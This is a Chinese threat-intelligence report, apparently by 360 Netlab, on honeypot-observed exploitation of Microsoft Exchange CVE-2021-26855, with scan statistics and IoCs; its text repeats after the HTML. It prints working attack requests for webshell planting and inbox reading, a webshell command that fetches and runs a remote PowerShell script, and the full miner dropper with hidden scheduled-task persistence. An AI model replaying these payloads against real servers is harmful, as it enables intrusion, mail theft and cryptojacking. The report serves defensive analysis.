Microsoft Exchange 漏洞（CVE-2021-26855）在野扫描分析报告
<!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2021年3月2号，微软披露了Microsoft Exchange服务器的远程代码执行漏洞<a href="https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/">[1]</a>。</p>
<p>2021年3月3号开始，360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件，很快我们搜集到大量的漏洞检测数据，目前我们已经检测到攻击者植入Webshell，获取邮箱信息，甚至进行XMRig恶意挖矿(<code>http://178.62.226.184/run.ps1</code>)的网络攻击行为。根据挖矿文件路径名特征，我们将该Miner命名为Tripleone。</p>
<p>2021年3月6号开始，ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml">[2]</a><a href="https://github.com/microsoft/CSS-Exchange/blob/main/Security/src/http-vuln-cve2021-26855.nse">[3]</a>。</p>
<p>Microsoft Exchange服务器的远程代码执行漏洞利用步骤复杂，一般从PoC公布到黑色产业攻击者利用需要一定的时间，我们看到这个攻击现象已经开始了。</p>
<h3 id="cve202126855webshell">CVE-2021-26855 植入Webshell</h3>
<pre><code>POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&amp;msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&amp;a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381

{&quot;properties&quot;: {&quot;Parameters&quot;: {&quot;__type&quot;: &quot;JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel&quot;, &quot;FilePathName&quot;: &quot;\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx&quot;}}, &quot;identity&quot;: {&quot;DisplayName&quot;: &quot;OAB (Default Web Site)&quot;, &quot;__type&quot;: &quot;Identity:ECP&quot;, &quot;RawIdentity&quot;: &quot;7280d03f-194a-4bf3-98a7-076e7728321d&quot;}}
</code></pre>
<h3 id="cve202126855">CVE-2021-26855 获取邮箱信息</h3>
<pre><code>POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756

&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;soap:Envelope xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; 
xmlns:m=&quot;http://schemas.microsoft.com/exchange/services/2006/messages&quot; 
xmlns:t=&quot;http://schemas.microsoft.com/exchange/services/2006/types&quot; 
xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;
    &lt;soap:Body&gt;
        &lt;m:GetFolder&gt;
            &lt;m:FolderShape&gt;
                &lt;t:BaseShape&gt;Default&lt;/t:BaseShape&gt;
            &lt;/m:FolderShape&gt;
            &lt;m:FolderIds&gt;
                &lt;t:DistinguishedFolderId Id=&quot;inbox&quot;&gt;
                    &lt;t:Mailbox&gt;
                        &lt;t:EmailAddress&gt;admin@domain.tld&lt;/t:EmailAddress&gt;
                    &lt;/t:Mailbox&gt;
                &lt;/t:DistinguishedFolderId&gt;
            &lt;/m:FolderIds&gt;
        &lt;/m:GetFolder&gt;
    &lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
</code></pre>
<h3 id="cve202126855">CVE-2021-26855 挖矿攻击</h3>
<pre><code>POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded

code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B
</code></pre>
<p>攻击者通过<code>http://178.62.226.184/run.ps1</code>文件植入XMRig挖矿程序，以下是攻击详情：</p>
<pre><code>$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile(&quot;http://178.62.226.184/config.json&quot;,&quot;C:\temp\111\config.json&quot;)
$WebClient.DownloadFile(&quot;http://178.62.226.184/javacpl.exe&quot;,&quot;C:\temp\111\javacpl.exe&quot;)
$WebClient.DownloadFile(&quot;http://178.62.226.184/WinRing0x64.sys&quot;,&quot;C:\temp\111\WinRing0x64.sys&quot;)
Start-Process -Filepath &quot;C:\temp\111\javacpl.exe&quot;
$action = New-ScheduledTaskAction -Execute &quot;powershell.exe&quot; -Argument &quot;-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')&quot;
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName &quot;App2&quot; -Description &quot;Check&quot;
  
}
else
{	
Write-host &quot;run&quot;
}
</code></pre>
<h3 id="anglerfish">Anglerfish蜜罐数据视野</h3>
<p>2021年3月6日开始，360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞（CVE-2021-26855）扫描，截至日前，扫描源IP地址地理位置分布如下：<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png" class="kg-image"/></a></p>
<p>通过对扫描端口分析发现，扫描目的端口主要是443端口（77.3%），其次是80端口（11.3%），如下图：<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_ports.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_ports.png" class="kg-image"/></a></p>
<p>根据分析捕获的扫描流量，扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.，占比50%以上，扫描整体趋势如下：<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png" class="kg-image"/></a></p>
<p>扫描源IP来自全球各个国家，其中美国占比最大，如下图:<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png" class="kg-image"/></a></p>
<p>对捕获的流量进行分析发现，Top 5的扫描IP占比所有扫描行为的50%，其中159.89.95.163占比达24%，暴露了该IP具有一定的组织性。<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png" class="kg-image"/></a></p>
<p>通过对攻击流量进行分析发现，攻击者已经能够成功利用该漏洞植入Webshell，详情如下图所示：<br>
<a href="__GHOST_URL__/content/images/2021/03/webshell_details.png"><img src="__GHOST_URL__/content/images/2021/03/webshell_details.png" class="kg-image"/></a></p>
<p>攻击者通过Webshell进一步实施恶意攻击操作，如植入XMRig挖矿程序，详情如下图所示：<br>
<a href="__GHOST_URL__/content/images/2021/03/sample_details.png"><img src="__GHOST_URL__/content/images/2021/03/sample_details.png" class="kg-image"/></a></p>
<h3 id="iprdnssld">部分扫描源IP rDNS SLD信息</h3>
<p>我们通过简单分析Microsoft Exchange漏洞（CVE-2021-26855）扫描的扫描源IP对应的rDNS信息，可以看到一些组织信息。<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_sld.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_sld.png" class="kg-image"/></a></p>
<h3 id="webshell">Webshell 分析</h3>
<p>我们监测到大量Webshell路径探测请求，其中大部分是安全厂商和研究机构的扫描行为。<br>
已知Webshell路径如下所示：</p>
<pre><code>GET /aspnet_client/system_web/log.aspx 	1682
GET /aspnet_client/OutlookEN.aspx 	1660
GET /aspnet_client/HttpProxy.aspx 	1643
GET /aspnet_client/aspnet_client.aspx 	1613
GET /aspnet_client/discover.aspx 	1583
GET /aspnet_client/supp0rt.aspx 	1490
GET /owa/auth/OutlookEN.aspx 	1464
GET /aspnet_client/aspnet_iisstart.aspx 	1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 	1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 	1441
GET /aspnet_client/Server.aspx 	1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 	1428
GET /owa/auth/logg.aspx 	1416
GET /aspnet_client/xx.aspx 	1412
GET /owa/auth/a.aspx 	1403
GET /owa/auth/Current/themes/errorFS.aspx 	1393
GET /owa/auth/errorPage.aspx 	1373
GET /owa/auth/getpp.aspx 	1367
GET /aspnet_client/aspnet_pages.aspx 	1364
GET /owa/auth/default.aspx 	1334
GET /owa/auth/fatal-erro.aspx 	1326
GET /owa/auth/errorPages.aspx 	1322
GET /owa/auth/log.aspx 	1311
GET /owa/auth/shel90.aspx 	1306
GET /owa/auth/Err0r.aspx 	1303
GET /owa/auth/logout.aspx 	1302
GET /aspnet_client/log3.aspx 	1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 	1285
GET /owa/auth/RedirSuiteServerProxy.aspx 	1279
GET /aspnet_client/eror.aspx 	1266
GET /aspnet_client/0QWYSEXe.aspx 	1263
GET /owa/auth/current/one1.aspx 	1260
GET /aspnet_client/session.aspx 	1242
GET /aspnet_client/iispage.aspx 	1213
GET /aspnet_client/system_web/logx2.aspx 	1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 	1207
GET /aspnet_client/log.aspx 	1207
GET /aspnet_client/WlUtyY.aspx 	1168
GET /aspnet_client/aspnet_www.aspx 	1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 	1164
GET /owa/auth/Current/app222.aspx 	1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 	1147
GET /owa/auth/ErrorAA.aspx 	1089
GET /owa/auth/one.aspx 	1079
GET /aspnet_client/errorcheck.aspx 	1074
GET /owa/auth/one1.aspx 	1072
GET /aspnet_client/system_web/logfe.aspx 	1064
GET /owa/auth/zntwv.aspx 	1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 	1019
GET /owa/auth/shel.aspx 	1016
GET /owa/auth/shel2.aspx 	1011
GET /owa/auth/bob.aspx 	1008
GET /owa/auth/OutlookZH.aspx 	1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 	1001
GET /owa/auth/authhead.aspx 	1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 	993
GET /aspnet_client/default1.aspx 	984
GET /aspnet_client/system_web/logon.aspx 	978
GET /aspnet_client/s.aspx 	930
GET /aspnet_client/RedirSuiteServerProxy.aspx 	927
GET /aspnet_client/8aUco9ZK.aspx 	920
GET /aspnet_client/F48zhi6U.aspx 	917
GET /aspnet_client/E3MsTjP8.aspx 	915
GET /aspnet_client/Fc1b3WDP.aspx 	915
GET /aspnet_client/2XJHwN19.aspx 	907
GET /aspnet_client/0q1iS7mn.aspx 	905
GET /aspnet_client/shell.aspx 	901
GET /aspnet_client/McYhCzdb.aspx 	898
GET /aspnet_client/sol.aspx 	893
GET /aspnet_client/aspnettest.aspx 	889
GET /aspnet_client/error_page.aspx 	885
GET /aspnet_client/system_web/error.aspx 	883
GET /aspnet_client/UwSPMsFi.aspx 	882
GET /aspnet_client/web.config.aspx 	878
GET /aspnet_client/shellex.aspx 	876
GET /aspnet_client/uHSPTWMG.aspx 	873
GET /aspnet_client/help.aspx 	868
GET /aspnet_client/load.aspx 	865
GET /aspnet_client/zXkZu6bn.aspx 	858
GET /aspnet_client/ogu7zFil.aspx 	843
GET /owa/auth/shell.aspx 	644
GET /owa/auth/web.aspx 	643
GET /owa/auth/aspnet_client.aspx 	639
GET /owa/auth/errorEEE.aspx 	635
GET /owa/auth/27fib.aspx 	627
GET /owa/auth/errorEE.aspx 	625
GET /owa/auth/b.aspx 	624
GET /owa/auth/aspnettest.aspx 	621
GET /owa/auth/healthcheck.aspx 	621
GET /owa/auth/t.aspx 	620
GET /owa/auth/shellex.aspx 	619
GET /owa/auth/wanlin.aspx 	619
GET /owa/auth/aspnet_iisstart.aspx 	619
GET /owa/auth/errorFF.aspx 	615
GET /owa/auth/test.aspx 	615
GET /owa/auth/document.aspx 	614
GET /owa/auth/xx.aspx 	613
GET /owa/auth/help.aspx 	612
GET /owa/auth/evilcorp.aspx 	611
GET /owa/auth/web.config.aspx 	606
GET /owa/auth/error_page.aspx 	605
GET /owa/auth/aspnet_www.aspx 	603
GET /owa/auth/errorFE.aspx 	601
GET /owa/auth/errorEW.aspx 	597
GET /owa/auth/OutlookDA.aspx 	288
GET /owa/auth/OutlookFR.aspx 	208
GET /owa/auth/OutlookIT.aspx 	187
GET /owa/auth/OutlookDE.aspx 	186
GET /owa/auth/OutlookES.aspx 	182
GET /owa/auth/expiredpassword.aspx 	175
GET /owa/auth/OutlookPL.aspx 	171
GET /owa/auth/OutlookAR.aspx 	165
GET /owa/auth/OutlookSE.aspx 	162
GET /owa/auth/logoff.aspx 	150
GET /owa/auth/OutlookAS.aspx 	146
GET /owa/auth/OutlookIO.aspx 	144
GET /owa/auth/OutlookCN.aspx 	111
GET /aspnet_client/Service.aspx 	88
GET /aspnet_client/1d.aspx 	88
GET /aspnet_client/Metabase.aspx 	86
GET /aspnet_client/7KmCS.aspx 	86
GET /aspnet_client/config.aspx 	79
GET /aspnet_client/cafZCu.aspx 	78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 	77
GET /aspnet_client/MAlREnavuY.aspx 	77
GET /aspnet_client/a.aspx 	77
GET /aspnet_client/Default.aspx 	76
GET /aspnet_client/ahihi.aspx 	76
GET /aspnet_client/aa.aspx 	76
GET /aspnet_client/aspnet_iistart.aspx 	75
GET /aspnet_client/configs.aspx 	74
GET /aspnet_client/aspnet.aspx 	71
GET /aspnet_client/aspx_client.aspx 	69
GET /aspnet_client/error404.aspx 	67
GET /aspnet_client/bob.aspx 	67
GET /aspnet_client/document.aspx 	67
GET /aspnet_client/authhead.aspx 	67
GET /aspnet_client/current/one1.aspx 	63
GET /aspnet_client/client.aspx 	63
GET /aspnet_client/erroree.aspx 	63
GET /owa/auth/seclogon.aspx 	61
GET /aspnet_client/upnews.aspx 	60
GET /aspnet_client/errorff.aspx 	60
GET /owa/auth/Current/themes/resources/system_io.aspx 	60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 	59
GET /aspnet_client/y3iGH.aspx 	59
GET /owa/auth/Current/themes/resources/errorFE.aspx 	59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 	59
GET /aspnet_client/errorew.aspx 	59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 	59
GET /owa/auth/Current/themes/resources/View_tools.aspx 	59
GET /owa/auth/6GIXZG.aspx 	59
GET /aspnet_client/system_web/ogzsis0L.aspx 	59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 	59
GET /aspnet_client/errorpages.aspx 	58
GET /aspnet_client/erroreee.aspx 	58
GET /owa/auth/hmknq.aspx 	57
GET /aspnet_client/system_web/4_0_30319/self.aspx 	57
GET /owa/auth/DesktopShellExt.aspx 	57
GET /aspnet_client/web.aspx 	56
GET /aspnet_client/system_web/9VkFwtxt.aspx 	56
GET /aspnet_client/default.aspx 	56
GET /aspnet_client/soHKY.aspx 	56
GET /aspnet_client/errorpage.aspx 	56
GET /owa/auth/rlvgk.aspx 	54
GET /owa/auth/logerr.aspx 	54
GET /owa/auth/pzbwl.aspx 	54
GET /owa/auth/owaauth.aspx 	54
GET /aspnet_client/est11.aspx 	54
GET /owa/auth/errorcheck.aspx 	53
GET /owa/auth/Current/layout.aspx 	52
GET /owa/auth/Current/themes/resources/logon.aspx 	52
GET /owa/auth/CommonError.aspx 	52
GET /owa/auth/Current/themes/config1.aspx 	52
GET /owa/auth/ErrorDef.aspx 	52
GET /owa/auth/iasads.aspx 	51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 	51
GET /owa/auth/061a06908b.aspx 	50
GET /owa/auth/Current/zJBxcBoI.aspx 	50
GET /owa/auth/errorew.aspx 	50
GET /aspnet_client/help..aspx 	50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 	50
GET /owa/auth/rwinsta.aspx 	50
GET /aspnet_client/t.aspx 	50
GET /owa/auth/server.aspx 	49
GET /owa/auth/erroreww.aspx 	49
GET /aspnet_client/temp.aspx 	49
GET /owa/auth/frow.aspx 	49
GET /aspnet_client/test007.aspx 	49
GET /owa/auth/fhsvc.aspx 	49
GET /owa/auth/s.aspx 	48
GET /owa/auth/errorpage.aspx 	48
GET /aspnet_client/zEeomtdYcX.aspx 	48
GET /owa/auth/session.aspx 	48
GET /owa/auth/secauth.aspx 	48
GET /owa/auth/Current/Exchanges.aspx 	48
GET /owa/auth/erroree.aspx 	48
GET /owa/auth/atlthunk.aspx 	48
GET /aspnet_client/voqbETdoni.aspx 	48
GET /owa/auth/secauth1.aspx 	48
GET /owa/auth/online.aspx 	48
GET /owa/auth/erroreee.aspx 	48
GET /owa/auth/outlooken.aspx 	48
GET /owa/auth/error.aspx 	47
GET /owa/auth/ProximityService.aspx 	47
GET /owa/auth/outlookfront.aspx 	47
GET /owa/auth/proxylogon.aspx 	47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 	47
GET /owa/auth/ovfwHWjwWm.aspx 	47
GET /owa/auth/qnx.aspx 	47
GET /owa/auth/plorion.aspx 	47
GET /aspnet_client/uyqITYBPew.aspx 	47
GET /owa/auth/outlookru.aspx 	47
GET /aspnet_client/show.aspx 	47
GET /aspnet_client/fatal-erro.aspx 	46
GET /owa/auth/errorfff.aspx 	46
GET /owa/auth/KBDBENE.aspx 	46
GET /owa/auth/OutlookUS.aspx 	46
GET /aspnet_client/system.aspx 	46
GET /owa/auth/login.aspx 	46
GET /owa/auth/letmeinplzs.aspx 	46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 	46
GET /owa/auth/errorff.aspx 	46
GET /owa/auth/redirsuiteserverproxy.aspx 	45
GET /aspnet_client/signon.aspx 	45
GET /aspnet_client/healthcheck.aspx 	45
GET /aspnet_client/login.aspx 	45
GET /owa/auth/ntprint.aspx 	45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 	44
GET /aspnet_client/qfmrucnzl.aspx 	44
GET /owa/auth/errorpages.aspx 	44
GET /owa/auth/XblGameSave.aspx 	44
GET /owa/auth/OutlookDN.aspx 	44
GET /aspnet_client/obq.aspx 	44
GET /owa/auth/load.aspx 	44
GET /aspnet_client/logaaa.aspx 	44
GET /owa/auth/discover.aspx 	43
GET /owa/auth/outlookjp.aspx 	43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 	43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 	42
GET /aspnet_client/shel90.aspx 	42
GET /aspnet_client/support.aspx 	42
GET /owa/auth/HcDKNzBoha.aspx 	41
GET /owa/auth/multiup.aspx 	41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 	40
GET /owa/auth/outlookzh.aspx 	40
GET /owa/auth/HUUPItrNpXvI.aspx 	40
GET /owa/auth/dbuj9.aspx 	40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 	40
GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 	39
GET /owa/auth/sol.aspx 	39
GET /owa/auth/httpproxy.aspx 	39
GET /owa/auth/XboxNetApiSvc.aspx 	39
GET /owa/auth/supp0rt.aspx 	39
GET /aspnet_client/one.aspx 	39
GET /owa/auth/signon.aspx 	38
GET /aspnet_client/outlookjp.aspx 	38
GET /owa/auth/OutlookEN.US.aspx 	38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 	38
GET /owa/auth/OutlookUN.aspx 	37
GET /owa/auth/aa.aspx 	36
GET /owa/auth/aaa.aspx 	36
GET /owa/auth/iispage.aspx 	36
GET /aspnet_client/redirsuiteserverproxy.aspx 	36
GET /owa/auth/shelltest.aspx 	35
GET /owa/auth/system_web/log.aspx 	35
GET /owa/auth/aspx_client.aspx 	35
GET /owa/auth/tst1.aspx 	35
GET /owa/auth/tpmvscmgrsvr.aspx 	35
GET /aspnet_client/online.aspx 	34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 	34
GET /owa/auth/aspnet.aspx 	34
GET /aspnet_client/outlookru.aspx 	34
GET /aspnet_client/outlookzh.aspx 	34
GET /aspnet_client/outlookfront.aspx 	34
GET /aspnet_client/shel.aspx 	33
GET /aspnet_client/logg.aspx 	33
GET /owa/auth/asas.aspx 	33
GET /aspnet_client/server.aspx 	33
GET /owa/auth/tNLPge.aspx 	32
GET /owa/auth/ahihi.aspx 	32
GET /owa/auth/TimeoutLogout.aspx 	32
GET /owa/auth/aspnet_pages.aspx 	32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 	32
GET /owa/auth/test13037.aspx 	31
GET /aspnet_client/shel2.aspx 	31
GET /aspnet_client/one1.aspx 	31
GET /aspnet_client/httpproxy.aspx 	31
GET /owa/auth/test1337.aspx 	31
GET /owa/auth/signout.aspx 	29
GET /aspnet_client/outlooken.aspx 	28
GET /owa/auth/default1.aspx 	28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 	28
GET /aspnet_client/multiup.aspx 	27
GET /aspnet_client/logout.aspx 	27
GET /owa/auth/theme-vten8snn874b.aspx 	25
GET /aspnet_client/error.aspx 	8
GET /aspnet_client/errorFF.aspx 	8
GET /aspnet_client/errorEE.aspx 	8
GET /owa/auth/OutlookJP.aspx 	6
GET /aspnet_client/errorEW.aspx 	6
POST /aspnet_client/discover.aspx 	5
GET /aspnet_client/errorEEE.aspx 	5
POST /aspnet_client/system_web/logx2.aspx 	4
GET /owa/auth/HttpProxy.aspx 	4
GET /owa/auth/OutlookRU.aspx 	4
GET /aspnet_client/system_web/sol.aspx 	4
GET /aspnet_client/system_web/QBFjM1SC.aspx 	4
GET /aspnet_client/OutlookJP.aspx 	4
GET /aspnet_client/system_web/ioWYM7C4.aspx 	4
GET /owa/auth/Online.aspx 	4
GET /aspnet_client/MultiUp.aspx 	4
GET /owa/auth/Logout.aspx 	4
GET /aspnet_client/system_web/E12B65rm.aspx 	4
GET /aspnet_client/system_web/vY4qLEpG.aspx 	3
GET /aspnet_client/system_web/test.aspx 	3
GET /aspnet_client/Online.aspx 	3
GET /aspnet_client/system_web/3ue5myCq.aspx 	3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 	3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 	3
GET /aspnet_client/system_web/WFk2or3Y.aspx 	3
GET /aspnet_client/system_web/GnCwADKH.aspx 	3
GET /aspnet_client/rabiitch.aspx 	3
GET /aspnet_client/system_web/Cs64LbPk.aspx 	3
GET /aspnet_client/Logout.aspx 	2
GET /owa/auth/WMSPDMOD.aspx 	2
GET /aspnet_client/OutlookRU.aspx 	2
GET /owa/auth/Discover.aspx 	2
GET /aspnet_client/system_web/2TFGNswO.aspx 	2
GET /aspnet_client/Discover.aspx 	2
GET /owa/auth/checkerror635284.aspx 	2
GET /owa/auth/MultiUp.aspx 	2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 	2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 	2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 	2
GET /aspnet_client/checkerror635284.aspx 	2
GET /owa/auth/1d61acae91.aspx 	2
GET /owa/auth/current/themes/resources/error.aspx 	1
GET /aspnet_client/iisstart.aspx 	1
GET /owa/auth/lo.aspx 	1
GET /owa/auth/error404.aspx 	1
</code></pre>
<h3 id="miscrosoftexchange">Miscrosoft Exchange服务器分布</h3>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现<a href="https://quake.360.cn/quake/#/searchResult?searchVal=app%3A%22Exchange%E9%82%AE%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%22&amp;selectIndex=quake_service">Microsoft Exchange服务器</a>共3,378,260条数据记录，其中有534,590个独立IP，具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png"><img src="__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png" class="kg-image"/></a></p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>178.62.226.184
157.245.47.214
</code></pre>
<p>Miner Proxy:</p>
<pre><code>159.65.206.137:3333
</code></pre>
<p>URL:</p>
<pre><code>http://178.62.226.184/mini-reverse.ps1 
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys
</code></pre>
<p>MD5:</p>
<pre><code>79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da
</code></pre>
<!--kg-card-end: markdown-->
背景介绍


2021年3月2号，微软披露了Microsoft Exchange服务器的远程代码执行漏洞[1]。


2021年3月3号开始，360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件，很快我们搜集到大量的漏洞检测数据，目前我们已经检测到攻击者植入Webshell，获取邮箱信息，甚至进行XMRig恶意挖矿(http://178.62.226.184/run.ps1)的网络攻击行为。根据挖矿文件路径名特征，我们将该Miner命名为Tripleone。


2021年3月6号开始，ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本[2][3]。


Microsoft Exchange服务器的远程代码执行漏洞利用步骤复杂，一般从PoC公布到黑色产业攻击者利用需要一定的时间，我们看到这个攻击现象已经开始了。



CVE-2021-26855 植入Webshell


POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381

{"properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx"}}, "identity": {"DisplayName": "OAB (Default Web Site)", "__type": "Identity:ECP", "RawIdentity": "7280d03f-194a-4bf3-98a7-076e7728321d"}}




CVE-2021-26855 获取邮箱信息


POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>admin@domain.tld</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>




CVE-2021-26855 挖矿攻击


POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded

